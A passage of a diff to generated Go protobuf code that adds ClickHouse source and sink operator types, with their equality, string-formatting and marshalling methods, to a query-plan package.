0xe0, 0x56, 0x64, 0x07, 0x86, 0x59, 0xcf, 0xd3, 0x5a, 0x27, + 0xff, 0x73, 0x0e, 0x16, 0xd3, 0x2a, 0x0b, 0x42, 0x90, 0x67, 0xcd, 0x86, 0x77, 0x24, 0xf6, 0x1b, + 0xad, 0x40, 0x75, 0x64, 0x8d, 0xfd, 0x89, 0xa9, 0x18, 0xda, 0x29, 0x9f, 0x0a, 0x24, 0x0c, 0x1c, + 0xd4, 0xd7, 0x4e, 0x5d, 0xda, 0xce, 0x04, 0x01, 0xa5, 0xe7, 0xcd, 0xa3, 0x82, 0x05, 0xd3, 0x3e, + 0x05, 0xa1, 0x77, 0x42, 0x12, 0x36, 0x1f, 0xb1, 0x62, 0xde, 0x58, 0x43, 0xd4, 0x20, 0x3e, 0x30, + 0x6d, 0xaa, 0x9e, 0xca, 0x4a, 0xa4, 0x60, 0xa3, 0xbf, 0x5d, 0xf4, 0x00, 0xc0, 0xf5, 0x54, 0xc7, + 0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 0xf5, 0x77, 0x87, 0x3d, + 0x3c, 0x85, 0xfe, 0xd1, 0x02, 0xba, 0x02, 0x8d, 0xdd, 0xfe, 0x5e, 0x7f, 0x38, 0x05, 0xfe, 0x17, + 0x03, 0x1e, 0xed, 0xf7, 0x07, 0xfb, 0x53, 0xe0, 0xe7, 0x08, 0x21, 0xa8, 0x3f, 0x1a, 0xf4, 0x23, + 0xb0, 0x7f, 0xb8, 0x42, 0xed, 0x0a, 0xfc, 0xd1, 0xdf, 0x7f, 0x7f, 0x8a, 0xfa, 0x74, 0x8b, 0xea, + 0xc1, 0xbd, 0x11, 0x43, 0xfc, 0x74, 0x1b, 0x75, 0xe0, 0xda, 0x60, 0xd8, 0xdb, 0x55, 0x7a, 0xbf, + 0x79, 0x30, 0xc0, 0xc3, 0x19, 0xfc, 0xd7, 0xdb, 0xe8, 0x26, 0xac, 0x44, 0x8c, 0x4e, 0xa5, 0xfa, + 0xb7, 0x9d, 0xf5, 0x87, 0x9f, 0x7d, 0xd1, 0xc9, 0xfc, 0xf2, 0x8b, 0x4e, 0xe6, 0xeb, 0x2f, 0x3a, + 0xd9, 0x9f, 0x9c, 0x77, 0xb2, 0x9f, 0x9e, 0x77, 0xb2, 0xff, 0x78, 0xde, 0xc9, 0x7e, 0x76, 0xde, + 0xc9, 0x7e, 0x7e, 0xde, 0xc9, 0x7e, 0x75, 0xde, 0xc9, 0x7c, 0x7d, 0xde, 0xc9, 0xfe, 0xc1, 0x97, + 0x9d, 0xcc, 0x67, 0x5f, 0x76, 0x32, 0xbf, 0xfc, 0xb2, 0x93, 0xf9, 0xad, 0x22, 0xcf, 0xa0, 0xe3, + 0x22, 0xfb, 0x78, 0xfe, 0xf6, 0x7f, 0x07, 0x00, 0x00, 0xff, 0xff, 0xa6, 0x01, 0x0f, 0xea, 0x8a, + 0x29, 0x00, 0x00, } func (x OperatorType) String() string { @@ -4085,6 +4496,54 @@ func (this *Operator_OTelSinkOp) Equal(that interface{}) bool { } return true } +func (this *Operator_ClickhouseSourceOp) Equal(that interface{}) bool { + if that == nil { + return this == nil + } + + that1, ok := that.(*Operator_ClickhouseSourceOp) + if !ok { + that2, ok := that.(Operator_ClickhouseSourceOp) + if ok { + that1 = &that2 + } else { + return false + } + } + if that1 == nil { + return this == nil + } else if this == nil { + return false + } + if !this.ClickhouseSourceOp.Equal(that1.ClickhouseSourceOp) { + return false + } + return true +} +func (this *Operator_ClickhouseSinkOp) Equal(that interface{}) bool { + if that == nil { + return this == nil + } + + that1, ok := that.(*Operator_ClickhouseSinkOp) + if !ok { + that2, ok := that.(Operator_ClickhouseSinkOp) + if ok { + that1 = &that2 + } else { + return false + } + } + if that1 == nil { + return this == nil + } else if this == nil { + return false + } + if !this.ClickhouseSinkOp.Equal(that1.ClickhouseSinkOp) { + return false + } + return true +} func (this *MemorySourceOperator) Equal(that interface{}) bool { if that == nil { return this == nil @@ -4800,6 +5259,79 @@ func (this *EmptySourceOperator) Equal(that interface{}) bool { } return true } +func (this *ClickHouseSourceOperator) Equal(that interface{}) bool { + if that == nil { + return this == nil + } + + that1, ok := that.(*ClickHouseSourceOperator) + if !ok { + that2, ok := that.(ClickHouseSourceOperator) + if ok { + that1 = &that2 + } else { + return false + } + } + if that1 == nil { + return this == nil + } else if this == nil { + return false + } + if this.Host != that1.Host { + return false + } + if this.Port != that1.Port { + return false + } + if this.Username != that1.Username { + return false + } + if this.Password != that1.Password { + return false + } + if this.Database != that1.Database { + return false + } + if this.Query != that1.Query { + return false + } + if len(this.ColumnNames) != len(that1.ColumnNames) { + return false + } + for i := range this.ColumnNames { + if this.ColumnNames[i] != that1.ColumnNames[i] { + return false + } + } + if len(this.ColumnTypes) != len(that1.ColumnTypes) { + return false + } + for i := range this.ColumnTypes { + if this.ColumnTypes[i] != that1.ColumnTypes[i] { + return false + } + } + if this.BatchSize != that1.BatchSize { + return false + } + if this.Streaming != that1.Streaming { + return false + } + if this.TimestampColumn != that1.TimestampColumn { + return false + } + if this.PartitionColumn != that1.PartitionColumn { + return false + } + if this.StartTime != that1.StartTime { + return false + } + if this.EndTime != that1.EndTime { + return false + } + return true +} func (this *OTelLog) Equal(that interface{}) bool { if that == nil { return this == nil @@ -5335,6 +5867,45 @@ func (this *OTelEndpointConfig) Equal(that interface{}) bool { } return true } +func (this *ClickHouseConfig) Equal(that interface{}) bool { + if that == nil { + return this == nil + } + + that1, ok := that.(*ClickHouseConfig) + if !ok { + that2, ok := that.(ClickHouseConfig) + if ok { + that1 = &that2 + } else { + return false + } + } + if that1 == nil { + return this == nil + } else if this == nil { + return false + } + if this.Hostname != that1.Hostname { + return false + } + if this.Host != that1.Host { + return false + } + if this.Port != that1.Port { + return false + } + if this.Username != that1.Username { + return false + } + if this.Password != that1.Password { + return false + } + if this.Database != that1.Database { + return false + } + return true +} func (this *OTelResource) Equal(that interface{}) bool { if that == nil { return this == nil @@ -5415,6 +5986,71 @@ func (this *OTelExportSinkOperator) Equal(that interface{}) bool { } return true } +func (this *ClickHouseExportSinkOperator) Equal(that interface{}) bool { + if that == nil { + return this == nil + } + + that1, ok := that.(*ClickHouseExportSinkOperator) + if !ok { + that2, ok := that.(ClickHouseExportSinkOperator) + if ok { + that1 = &that2 + } else { + return false + } + } + if that1 == nil { + return this == nil + } else if this == nil { + return false + } + if !this.ClickhouseConfig.Equal(that1.ClickhouseConfig) { + return false + } + if this.TableName != that1.TableName { + return false + } + if len(this.ColumnMappings) != len(that1.ColumnMappings) { + return false + } + for i := range this.ColumnMappings { + if !this.ColumnMappings[i].Equal(that1.ColumnMappings[i]) { + return false + } + } + return true +} +func (this *ClickHouseExportSinkOperator_ColumnMapping) Equal(that interface{}) bool { + if that == nil { + return this == nil + } + + that1, ok := that.(*ClickHouseExportSinkOperator_ColumnMapping) + if !ok { + that2, ok := that.(ClickHouseExportSinkOperator_ColumnMapping) + if ok { + that1 = &that2 + } else { + return false + } + } + if that1 == nil { + return this == nil + } else if this == nil { + return false + } + if this.InputColumnIndex != that1.InputColumnIndex { + return false + } + if this.ClickhouseColumnName != that1.ClickhouseColumnName { + return false + } + if this.ColumnType != that1.ColumnType { + return false + } + return true +} func (this *ScalarExpression) Equal(that interface{}) bool { if that == nil { return this == nil @@ -6005,7 +6641,7 @@ func (this *Operator) GoString() string { if this == nil { return "nil" } - s := make([]string, 0, 18) + s := make([]string, 0, 20) s = append(s, "&planpb.Operator{") s = append(s, "OpType: "+fmt.Sprintf("%#v", this.OpType)+",\n") if this.Op != nil { @@ -6118,6 +6754,22 @@ func (this *Operator_OTelSinkOp) GoString() string { `OTelSinkOp:` + fmt.Sprintf("%#v", this.OTelSinkOp) + `}`}, ", ") return s } +func (this *Operator_ClickhouseSourceOp) GoString() string { + if this == nil { + return "nil" + } + s := strings.Join([]string{`&planpb.Operator_ClickhouseSourceOp{` + + `ClickhouseSourceOp:` + fmt.Sprintf("%#v", this.ClickhouseSourceOp) + `}`}, ", ") + return s +} +func (this *Operator_ClickhouseSinkOp) GoString() string { + if this == nil { + return "nil" + } + s := strings.Join([]string{`&planpb.Operator_ClickhouseSinkOp{` + + `ClickhouseSinkOp:` + fmt.Sprintf("%#v", this.ClickhouseSinkOp) + `}`}, ", ") + return s +} func (this *MemorySourceOperator) GoString() string { if this == nil { return "nil" @@ -6368,6 +7020,29 @@ func (this *EmptySourceOperator) GoString() string { s = append(s, "}") return strings.Join(s, "") } +func (this *ClickHouseSourceOperator) GoString() string { + if this == nil { + return "nil" + } + s := make([]string, 0, 18) + s = append(s, "&planpb.ClickHouseSourceOperator{") + s = append(s, "Host: "+fmt.Sprintf("%#v", this.Host)+",\n") + s = append(s, "Port: "+fmt.Sprintf("%#v", this.Port)+",\n") + s = append(s, "Username: "+fmt.Sprintf("%#v", this.Username)+",\n") + s = append(s, "Password: "+fmt.Sprintf("%#v", this.Password)+",\n") + s = append(s, "Database: "+fmt.Sprintf("%#v", this.Database)+",\n") + s = append(s, "Query: "+fmt.Sprintf("%#v", this.Query)+",\n") + s = append(s, "ColumnNames: "+fmt.Sprintf("%#v", this.ColumnNames)+",\n") + s = append(s, "ColumnTypes: "+fmt.Sprintf("%#v", this.ColumnTypes)+",\n") + s = append(s, "BatchSize: "+fmt.Sprintf("%#v", this.BatchSize)+",\n") + s = append(s, "Streaming: "+fmt.Sprintf("%#v", this.Streaming)+",\n") + s = append(s, "TimestampColumn: "+fmt.Sprintf("%#v", this.TimestampColumn)+",\n") + s = append(s, "PartitionColumn: "+fmt.Sprintf("%#v", this.PartitionColumn)+",\n") + s = append(s, "StartTime: "+fmt.Sprintf("%#v", this.StartTime)+",\n") + s = append(s, "EndTime: "+fmt.Sprintf("%#v", this.EndTime)+",\n") + s = append(s, "}") + return strings.Join(s, "") +} func (this *OTelLog) GoString() string { if this == nil { return "nil" @@ -6576,6 +7251,21 @@ func (this *OTelEndpointConfig) GoString() string { s = append(s, "}") return strings.Join(s, "") } +func (this *ClickHouseConfig) GoString() string { + if this == nil { + return "nil" + } + s := make([]string, 0, 10) + s = append(s, "&planpb.ClickHouseConfig{") + s = append(s, "Hostname: "+fmt.Sprintf("%#v", this.Hostname)+",\n") + s = append(s, "Host: "+fmt.Sprintf("%#v", this.Host)+",\n") + s = append(s, "Port: "+fmt.Sprintf("%#v", this.Port)+",\n") + s = append(s, "Username: "+fmt.Sprintf("%#v", this.Username)+",\n") + s = append(s, "Password: "+fmt.Sprintf("%#v", this.Password)+",\n") + s = append(s, "Database: "+fmt.Sprintf("%#v", this.Database)+",\n") + s = append(s, "}") + return strings.Join(s, "") +} func (this *OTelResource) GoString() string { if this == nil { return "nil" @@ -6612,6 +7302,34 @@ func (this *OTelExportSinkOperator) GoString() string { s = append(s, "}") return strings.Join(s, "") } +func (this *ClickHouseExportSinkOperator) GoString() string { + if this == nil { + return "nil" + } + s := make([]string, 0, 7) + s = append(s, "&planpb.ClickHouseExportSinkOperator{") + if this.ClickhouseConfig != nil { + s = append(s, "ClickhouseConfig: "+fmt.Sprintf("%#v", this.ClickhouseConfig)+",\n") + } + s = append(s, "TableName: "+fmt.Sprintf("%#v", this.TableName)+",\n") + if this.ColumnMappings != nil { + s = append(s, "ColumnMappings: "+fmt.Sprintf("%#v", this.ColumnMappings)+",\n") + } + s = append(s, "}") + return strings.Join(s, "") +} +func (this *ClickHouseExportSinkOperator_ColumnMapping) GoString() string { + if this == nil { + return "nil" + } + s := make([]string, 0, 7) + s = append(s, "&planpb.ClickHouseExportSinkOperator_ColumnMapping{") + s = append(s, "InputColumnIndex: "+fmt.Sprintf("%#v", this.InputColumnIndex)+",\n") + s = append(s, "ClickhouseColumnName: "+fmt.Sprintf("%#v", this.ClickhouseColumnName)+",\n") + s = append(s, "ColumnType: "+fmt.Sprintf("%#v", this.ColumnType)+",\n") + s = append(s, "}") + return strings.Join(s, "") +} func (this *ScalarExpression) GoString() string { if this == nil { return "nil" @@ -7450,16 +8168,16 @@ func (m *Operator_OTelSinkOp) MarshalToSizedBuffer(dAtA []byte) (int, error) { } return len(dAtA) - i, nil } -func (m *Operator_GRPCSinkOp) MarshalTo(dAtA []byte) (int, error) { +func (m *Operator_ClickhouseSourceOp) MarshalTo(dAtA []byte) (int, error) { size := m.Size() return m.MarshalToSizedBuffer(dAtA[:size]) } -func (m *Operator_GRPCSinkOp) MarshalToSizedBuffer(dAtA []byte) (int, error) { +func (m *Operator_ClickhouseSourceOp) MarshalToSizedBuffer(dAtA []byte) (int, error) { i := len(dAtA) - if m.GRPCSinkOp != nil { + if m.ClickhouseSourceOp != nil { { - size, err := m.GRPCSinkOp.MarshalToSizedBuffer(dAtA[:i]) + size, err := m.ClickhouseSourceOp.MarshalToSizedBuffer(dAtA[:i]) if err != nil { return 0, err } @@ -7467,30 +8185,74 @@ func (m *Operator_GRPCSinkOp) MarshalToSizedBuffer(dAtA []byte) (int, error) { i = encodeVarintPlan(dAtA, i, uint64(size)) } i-- - dAtA[i] = 0x3e - i-- - dAtA[i] = 0xc2 + dAtA[i] = 0x7a } return len(dAtA) - i, nil } -func (m *MemorySourceOperator) Marshal() (dAtA []byte, err error) { - size := m.Size() - dAtA = make([]byte, size) - n, err := m.MarshalToSizedBuffer(dAtA[:size]) - if err != nil { - return nil, err - } - return dAtA[:n], nil -} - -func (m *MemorySourceOperator) MarshalTo(dAtA []byte) (int, error) { +func (m *Operator_ClickhouseSinkOp) MarshalTo(dAtA []byte) (int, error) { size := m.Size() return m.MarshalToSizedBuffer(dAtA[:size]) } -func (m *MemorySourceOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { +func (m *Operator_ClickhouseSinkOp) MarshalToSizedBuffer(dAtA []byte) (int, error) { i := len(dAtA) - _ = i + if m.ClickhouseSinkOp != nil { + { + size, err := m.ClickhouseSinkOp.MarshalToSizedBuffer(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = encodeVarintPlan(dAtA, i, uint64(size)) + } + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0x82 + } + return len(dAtA) - i, nil +} +func (m *Operator_GRPCSinkOp) MarshalTo(dAtA []byte) (int, error) { + size := m.Size() + return m.MarshalToSizedBuffer(dAtA[:size]) +} + +func (m *Operator_GRPCSinkOp) MarshalToSizedBuffer(dAtA []byte) (int, error) { + i := len(dAtA) + if m.GRPCSinkOp != nil { + { + size, err := m.GRPCSinkOp.MarshalToSizedBuffer(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = encodeVarintPlan(dAtA, i, uint64(size)) + } + i-- + dAtA[i] = 0x3e + i-- + dAtA[i] = 0xc2 + } + return len(dAtA) - i, nil +} +func (m *MemorySourceOperator) Marshal() (dAtA []byte, err error) { + size := m.Size() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBuffer(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *MemorySourceOperator) MarshalTo(dAtA []byte) (int, error) { + size := m.Size() + return m.MarshalToSizedBuffer(dAtA[:size]) +} + +func (m *MemorySourceOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { + i := len(dAtA) + _ = i var l int _ = l if m.Streaming { @@ -7535,20 +8297,20 @@ func (m *MemorySourceOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { dAtA[i] = 0x2a } if len(m.ColumnTypes) > 0 { - dAtA25 := make([]byte, len(m.ColumnTypes)*10) - var j24 int + dAtA27 := make([]byte, len(m.ColumnTypes)*10) + var j26 int for _, num := range m.ColumnTypes { for num >= 1<<7 { - dAtA25[j24] = uint8(uint64(num)&0x7f | 0x80) + dAtA27[j26] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j24++ + j26++ } - dAtA25[j24] = uint8(num) - j24++ + dAtA27[j26] = uint8(num) + j26++ } - i -= j24 - copy(dAtA[i:], dAtA25[:j24]) - i = encodeVarintPlan(dAtA, i, uint64(j24)) + i -= j26 + copy(dAtA[i:], dAtA27[:j26]) + i = encodeVarintPlan(dAtA, i, uint64(j26)) i-- dAtA[i] = 0x22 } @@ -7562,21 +8324,21 @@ func (m *MemorySourceOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { } } if len(m.ColumnIdxs) > 0 { - dAtA27 := make([]byte, len(m.ColumnIdxs)*10) - var j26 int + dAtA29 := make([]byte, len(m.ColumnIdxs)*10) + var j28 int for _, num1 := range m.ColumnIdxs { num := uint64(num1) for num >= 1<<7 { - dAtA27[j26] = uint8(uint64(num)&0x7f | 0x80) + dAtA29[j28] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j26++ + j28++ } - dAtA27[j26] = uint8(num) - j26++ + dAtA29[j28] = uint8(num) + j28++ } - i -= j26 - copy(dAtA[i:], dAtA27[:j26]) - i = encodeVarintPlan(dAtA, i, uint64(j26)) + i -= j28 + copy(dAtA[i:], dAtA29[:j28]) + i = encodeVarintPlan(dAtA, i, uint64(j28)) i-- dAtA[i] = 0x12 } @@ -7611,20 +8373,20 @@ func (m *MemorySinkOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { var l int _ = l if len(m.ColumnSemanticTypes) > 0 { - dAtA29 := make([]byte, len(m.ColumnSemanticTypes)*10) - var j28 int + dAtA31 := make([]byte, len(m.ColumnSemanticTypes)*10) + var j30 int for _, num := range m.ColumnSemanticTypes { for num >= 1<<7 { - dAtA29[j28] = uint8(uint64(num)&0x7f | 0x80) + dAtA31[j30] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j28++ + j30++ } - dAtA29[j28] = uint8(num) - j28++ + dAtA31[j30] = uint8(num) + j30++ } - i -= j28 - copy(dAtA[i:], dAtA29[:j28]) - i = encodeVarintPlan(dAtA, i, uint64(j28)) + i -= j30 + copy(dAtA[i:], dAtA31[:j30]) + i = encodeVarintPlan(dAtA, i, uint64(j30)) i-- dAtA[i] = 0x22 } @@ -7638,20 +8400,20 @@ func (m *MemorySinkOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { } } if len(m.ColumnTypes) > 0 { - dAtA31 := make([]byte, len(m.ColumnTypes)*10) - var j30 int + dAtA33 := make([]byte, len(m.ColumnTypes)*10) + var j32 int for _, num := range m.ColumnTypes { for num >= 1<<7 { - dAtA31[j30] = uint8(uint64(num)&0x7f | 0x80) + dAtA33[j32] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j30++ + j32++ } - dAtA31[j30] = uint8(num) - j30++ + dAtA33[j32] = uint8(num) + j32++ } - i -= j30 - copy(dAtA[i:], dAtA31[:j30]) - i = encodeVarintPlan(dAtA, i, uint64(j30)) + i -= j32 + copy(dAtA[i:], dAtA33[:j32]) + i = encodeVarintPlan(dAtA, i, uint64(j32)) i-- dAtA[i] = 0x12 } @@ -7695,20 +8457,20 @@ func (m *GRPCSourceOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { } } if len(m.ColumnTypes) > 0 { - dAtA33 := make([]byte, len(m.ColumnTypes)*10) - var j32 int + dAtA35 := make([]byte, len(m.ColumnTypes)*10) + var j34 int for _, num := range m.ColumnTypes { for num >= 1<<7 { - dAtA33[j32] = uint8(uint64(num)&0x7f | 0x80) + dAtA35[j34] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j32++ + j34++ } - dAtA33[j32] = uint8(num) - j32++ + dAtA35[j34] = uint8(num) + j34++ } - i -= j32 - copy(dAtA[i:], dAtA33[:j32]) - i = encodeVarintPlan(dAtA, i, uint64(j32)) + i -= j34 + copy(dAtA[i:], dAtA35[:j34]) + i = encodeVarintPlan(dAtA, i, uint64(j34)) i-- dAtA[i] = 0xa } @@ -7820,20 +8582,20 @@ func (m *GRPCSinkOperator_ResultTable) MarshalToSizedBuffer(dAtA []byte) (int, e var l int _ = l if len(m.ColumnSemanticTypes) > 0 { - dAtA37 := make([]byte, len(m.ColumnSemanticTypes)*10) - var j36 int + dAtA39 := make([]byte, len(m.ColumnSemanticTypes)*10) + var j38 int for _, num := range m.ColumnSemanticTypes { for num >= 1<<7 { - dAtA37[j36] = uint8(uint64(num)&0x7f | 0x80) + dAtA39[j38] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j36++ + j38++ } - dAtA37[j36] = uint8(num) - j36++ + dAtA39[j38] = uint8(num) + j38++ } - i -= j36 - copy(dAtA[i:], dAtA37[:j36]) - i = encodeVarintPlan(dAtA, i, uint64(j36)) + i -= j38 + copy(dAtA[i:], dAtA39[:j38]) + i = encodeVarintPlan(dAtA, i, uint64(j38)) i-- dAtA[i] = 0x22 } @@ -7847,20 +8609,20 @@ func (m *GRPCSinkOperator_ResultTable) MarshalToSizedBuffer(dAtA []byte) (int, e } } if len(m.ColumnTypes) > 0 { - dAtA39 := make([]byte, len(m.ColumnTypes)*10) - var j38 int + dAtA41 := make([]byte, len(m.ColumnTypes)*10) + var j40 int for _, num := range m.ColumnTypes { for num >= 1<<7 { - dAtA39[j38] = uint8(uint64(num)&0x7f | 0x80) + dAtA41[j40] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j38++ + j40++ } - dAtA39[j38] = uint8(num) - j38++ + dAtA41[j40] = uint8(num) + j40++ } - i -= j38 - copy(dAtA[i:], dAtA39[:j38]) - i = encodeVarintPlan(dAtA, i, uint64(j38)) + i -= j40 + copy(dAtA[i:], dAtA41[:j40]) + i = encodeVarintPlan(dAtA, i, uint64(j40)) i-- dAtA[i] = 0x12 } @@ -8119,20 +8881,20 @@ func (m *LimitOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { var l int _ = l if len(m.AbortableSrcs) > 0 { - dAtA42 := make([]byte, len(m.AbortableSrcs)*10) - var j41 int + dAtA44 := make([]byte, len(m.AbortableSrcs)*10) + var j43 int for _, num := range m.AbortableSrcs { for num >= 1<<7 { - dAtA42[j41] = uint8(uint64(num)&0x7f | 0x80) + dAtA44[j43] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j41++ + j43++ } - dAtA42[j41] = uint8(num) - j41++ + dAtA44[j43] = uint8(num) + j43++ } - i -= j41 - copy(dAtA[i:], dAtA42[:j41]) - i = encodeVarintPlan(dAtA, i, uint64(j41)) + i -= j43 + copy(dAtA[i:], dAtA44[:j43]) + i = encodeVarintPlan(dAtA, i, uint64(j43)) i-- dAtA[i] = 0x1a } @@ -8230,21 +8992,21 @@ func (m *UnionOperator_ColumnMapping) MarshalToSizedBuffer(dAtA []byte) (int, er var l int _ = l if len(m.ColumnIndexes) > 0 { - dAtA44 := make([]byte, len(m.ColumnIndexes)*10) - var j43 int + dAtA46 := make([]byte, len(m.ColumnIndexes)*10) + var j45 int for _, num1 := range m.ColumnIndexes { num := uint64(num1) for num >= 1<<7 { - dAtA44[j43] = uint8(uint64(num)&0x7f | 0x80) + dAtA46[j45] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j43++ + j45++ } - dAtA44[j43] = uint8(num) - j43++ + dAtA46[j45] = uint8(num) + j45++ } - i -= j43 - copy(dAtA[i:], dAtA44[:j43]) - i = encodeVarintPlan(dAtA, i, uint64(j43)) + i -= j45 + copy(dAtA[i:], dAtA46[:j45]) + i = encodeVarintPlan(dAtA, i, uint64(j45)) i-- dAtA[i] = 0xa } @@ -8452,20 +9214,20 @@ func (m *EmptySourceOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { var l int _ = l if len(m.ColumnTypes) > 0 { - dAtA46 := make([]byte, len(m.ColumnTypes)*10) - var j45 int + dAtA48 := make([]byte, len(m.ColumnTypes)*10) + var j47 int for _, num := range m.ColumnTypes { for num >= 1<<7 { - dAtA46[j45] = uint8(uint64(num)&0x7f | 0x80) + dAtA48[j47] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j45++ + j47++ } - dAtA46[j45] = uint8(num) - j45++ + dAtA48[j47] = uint8(num) + j47++ } - i -= j45 - copy(dAtA[i:], dAtA46[:j45]) - i = encodeVarintPlan(dAtA, i, uint64(j45)) + i -= j47 + copy(dAtA[i:], dAtA48[:j47]) + i = encodeVarintPlan(dAtA, i, uint64(j47)) i-- dAtA[i] = 0x12 } @@ -8481,6 +9243,135 @@ func (m *EmptySourceOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { return len(dAtA) - i, nil } +func (m *ClickHouseSourceOperator) Marshal() (dAtA []byte, err error) { + size := m.Size() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBuffer(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ClickHouseSourceOperator) MarshalTo(dAtA []byte) (int, error) { + size := m.Size() + return m.MarshalToSizedBuffer(dAtA[:size]) +} + +func (m *ClickHouseSourceOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { + i := len(dAtA) + _ = i + var l int + _ = l + if m.EndTime != 0 { + i = encodeVarintPlan(dAtA, i, uint64(m.EndTime)) + i-- + dAtA[i] = 0x70 + } + if m.StartTime != 0 { + i = encodeVarintPlan(dAtA, i, uint64(m.StartTime)) + i-- + dAtA[i] = 0x68 + } + if len(m.PartitionColumn) > 0 { + i -= len(m.PartitionColumn) + copy(dAtA[i:], m.PartitionColumn) + i = encodeVarintPlan(dAtA, i, uint64(len(m.PartitionColumn))) + i-- + dAtA[i] = 0x62 + } + if len(m.TimestampColumn) > 0 { + i -= len(m.TimestampColumn) + copy(dAtA[i:], m.TimestampColumn) + i = encodeVarintPlan(dAtA, i, uint64(len(m.TimestampColumn))) + i-- + dAtA[i] = 0x5a + } + if m.Streaming { + i-- + if m.Streaming { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x50 + } + if m.BatchSize != 0 { + i = encodeVarintPlan(dAtA, i, uint64(m.BatchSize)) + i-- + dAtA[i] = 0x48 + } + if len(m.ColumnTypes) > 0 { + dAtA50 := make([]byte, len(m.ColumnTypes)*10) + var j49 int + for _, num := range m.ColumnTypes { + for num >= 1<<7 { + dAtA50[j49] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j49++ + } + dAtA50[j49] = uint8(num) + j49++ + } + i -= j49 + copy(dAtA[i:], dAtA50[:j49]) + i = encodeVarintPlan(dAtA, i, uint64(j49)) + i-- + dAtA[i] = 0x42 + } + if len(m.ColumnNames) > 0 { + for iNdEx := len(m.ColumnNames) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ColumnNames[iNdEx]) + copy(dAtA[i:], m.ColumnNames[iNdEx]) + i = encodeVarintPlan(dAtA, i, uint64(len(m.ColumnNames[iNdEx]))) + i-- + dAtA[i] = 0x3a + } + } + if len(m.Query) > 0 { + i -= len(m.Query) + copy(dAtA[i:], m.Query) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Query))) + i-- + dAtA[i] = 0x32 + } + if len(m.Database) > 0 { + i -= len(m.Database) + copy(dAtA[i:], m.Database) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Database))) + i-- + dAtA[i] = 0x2a + } + if len(m.Password) > 0 { + i -= len(m.Password) + copy(dAtA[i:], m.Password) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Password))) + i-- + dAtA[i] = 0x22 + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0x1a + } + if m.Port != 0 { + i = encodeVarintPlan(dAtA, i, uint64(m.Port)) + i-- + dAtA[i] = 0x10 + } + if len(m.Host) > 0 { + i -= len(m.Host) + copy(dAtA[i:], m.Host) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Host))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + func (m *OTelLog) Marshal() (dAtA []byte, err error) { size := m.Size() dAtA = make([]byte, size) @@ -9083,7 +9974,7 @@ func (m *OTelEndpointConfig) MarshalToSizedBuffer(dAtA []byte) (int, error) { return len(dAtA) - i, nil } -func (m *OTelResource) Marshal() (dAtA []byte, err error) { +func (m *ClickHouseConfig) Marshal() (dAtA []byte, err error) { size := m.Size() dAtA = make([]byte, size) n, err := m.MarshalToSizedBuffer(dAtA[:size]) @@ -9093,25 +9984,88 @@ func (m *OTelResource) Marshal() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *OTelResource) MarshalTo(dAtA []byte) (int, error) { +func (m *ClickHouseConfig) MarshalTo(dAtA []byte) (int, error) { size := m.Size() return m.MarshalToSizedBuffer(dAtA[:size]) } -func (m *OTelResource) MarshalToSizedBuffer(dAtA []byte) (int, error) { +func (m *ClickHouseConfig) MarshalToSizedBuffer(dAtA []byte) (int, error) { i := len(dAtA) _ = i var l int _ = l - if len(m.Attributes) > 0 { - for iNdEx := len(m.Attributes) - 1; iNdEx >= 0; iNdEx-- { - { - size, err := m.Attributes[iNdEx].MarshalToSizedBuffer(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarintPlan(dAtA, i, uint64(size)) + if len(m.Database) > 0 { + i -= len(m.Database) + copy(dAtA[i:], m.Database) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Database))) + i-- + dAtA[i] = 0x32 + } + if len(m.Password) > 0 { + i -= len(m.Password) + copy(dAtA[i:], m.Password) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Password))) + i-- + dAtA[i] = 0x2a + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0x22 + } + if m.Port != 0 { + i = encodeVarintPlan(dAtA, i, uint64(m.Port)) + i-- + dAtA[i] = 0x18 + } + if len(m.Host) > 0 { + i -= len(m.Host) + copy(dAtA[i:], m.Host) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Host))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + 